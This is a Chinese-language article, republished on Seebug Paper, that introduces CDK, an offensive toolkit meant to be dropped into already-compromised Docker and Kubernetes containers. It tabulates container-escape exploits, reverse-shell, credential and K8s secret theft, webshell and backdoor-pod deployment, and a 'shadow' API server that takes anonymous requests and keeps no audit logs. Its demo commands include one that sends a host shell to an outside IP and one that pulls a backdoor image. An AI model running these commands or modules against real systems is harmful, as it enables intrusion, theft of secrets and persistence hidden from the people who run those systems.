作者: CDK-Team
项目地址:https://github.com/cdk-team/CDK/

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。

场景介绍

伴随着容器技术的快速发展,容器安全问题也逐渐成为企业所关注的话题。针对容器场景的渗透测试一方面要求攻击者理解对Docker/K8s以及云服务的原理、特性以及漏洞利用方式;另一方面,攻击者通过业务漏洞(如WEB RCE)攻入容器后往往面对的是一个缩减后的容器环境,缺乏常用的linux命令依赖导致渗透效率不佳。

CDK为安全测试人员提供了golang原生的容器环境渗透能力,主要有以下几点:

  1. 评估容器内部弱点、搜集敏感信息。
  2. 提供多种容器逃逸的漏洞利用方式。
  3. 提供K8s环境的多种持久化、横向移动方式。
  4. 提供原生的进程、网络命令,便于测试者自定义攻击操作。

功能

CDK包括三个功能模块

  1. Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
  2. Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
  3. Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。

Evaluate 模块

用于本地信息收集,寻找可用的逃逸点,使用 --full 参数时会包含本地文件扫描。

类别 检测点 已支持 详细文档
本地信息收集 OS基本信息 link
本地信息收集 可用的Capabilities link
本地信息收集 可用的Linux命令 link
本地信息收集 挂载情况 link
本地信息收集 网络namespace隔离情况 link
本地信息收集 环境变量 link
本地信息收集 敏感服务 link
本地信息收集 敏感目录及文件 link
本地信息收集 kube-proxy边界绕过(CVE-2020-8558) link
网络探测 K8s Api-server信息 link
网络探测 K8s Service-account信息 link
网络探测 云厂商Metadata API link

Exploit 模块

执行指定的exp。

类别 功能 调用名 已支持 文档
容器逃逸 docker-runc CVE-2019-5736 runc-pwn
容器逃逸 containerd-shim CVE-2020-15257 shim-pwn link
容器逃逸 docker.sock逃逸PoC(docker-in-docker) docker-sock-check link
容器逃逸 docker.sock部署恶意镜像 docker-sock-deploy link
容器逃逸 挂载逃逸(特权容器) mount-disk link
容器逃逸 Cgroup逃逸(特权容器) mount-cgroup link
容器逃逸 Procfs目录挂载逃逸 mount-procfs link
容器逃逸 Ptrace逃逸PoC check-ptrace link
容器逃逸 lxcfs cgroup错误配置逃逸 lxcfs-rw link
容器逃逸 重写Cgroup以访问设备 rewrite-cgroup-devices link
网络探测 K8s组件探测 service-probe link
信息收集 检查和获取Istio元信息 istio-check link
远程控制 反弹shell reverse-shell link
信息窃取 扫描AK及API认证凭据 ak-leakage link
信息窃取 窃取K8s Secrets k8s-secret-dump link
信息窃取 窃取K8s Config k8s-configmap-dump link
持久化 部署WebShell webshell-deploy link
持久化 部署后门Pod k8s-backdoor-daemonset link
持久化 部署影子K8s api-server k8s-shadow-apiserver link
持久化 K8s MITM攻击(CVE-2020-8554) k8s-mitm-clusterip link
持久化 部署K8s CronJob k8s-cronjob link

Tool 模块

还原部分常用的Linux命令,解决容器环境缩减的问题。

子命令 描述 已支持 文档
nc TCP隧道 link
ps 获取进程信息 link
ifconfig 获取网络信息 link
vi 文本编辑 link
kcurl 发包到K8s api-server link
dcurl 发包到Docker HTTP API
ucurl 发包到Docker Unix Socket link
rcurl 发包到Docker Registry API
probe IP/端口扫描 link
kproxy kubectl代理转发

使用方法

下载可执行文件投递到已攻入的容器内部开始测试:

命令行参数:

Container DucK
Zero-dependency docker/k8s penetration toolkit by <i@cdxy.me>
Find tutorial, configuration and use-case in https://github.com/Xyntax/CDK/wiki

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weekness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/Xyntax/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl (get|post) <url> <data>             Make request to K8s api-server.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.

工具演示

评估容器弱点

cdk evaluate --full

png

containerd-shim(CVE-2020-15257)漏洞逃逸

通过共享的net namespace向宿主机的containerd-shim进程发起请求,利用其特性反弹宿主机的shell到远端服务器。

./cdk run shim-pwn 47.104.151.168 111

docker.sock漏洞逃逸

通过本地docker.sock向控制宿主机的docker进程,拉取指定的后门镜像并运行,运行过程中镜像将宿主机的根目录/挂载到容器内部的/host目录下,便于通过后门容器修改宿主机本地文件(如crontab)来完成逃逸。

# deploy image from dockerhub
./cdk run docker-sock-deploy /var/run/docker.sock alpine:latest

# deploy image from user image registry
./cdk run docker-sock-deploy registry.cn-shanghai.aliyuncs.com/sandboxed-container/cve-2019-5736:change_root_pwd

g

部署K8s shadow apiserver

向K8s集群中部署一个shadow apiserver,该apiserver具有和集群中现存的apiserver一致的功能,同时开启了全部K8s管理权限,接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。

./cdk run k8s-shadow-apiserver default

png

项目地址


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1474/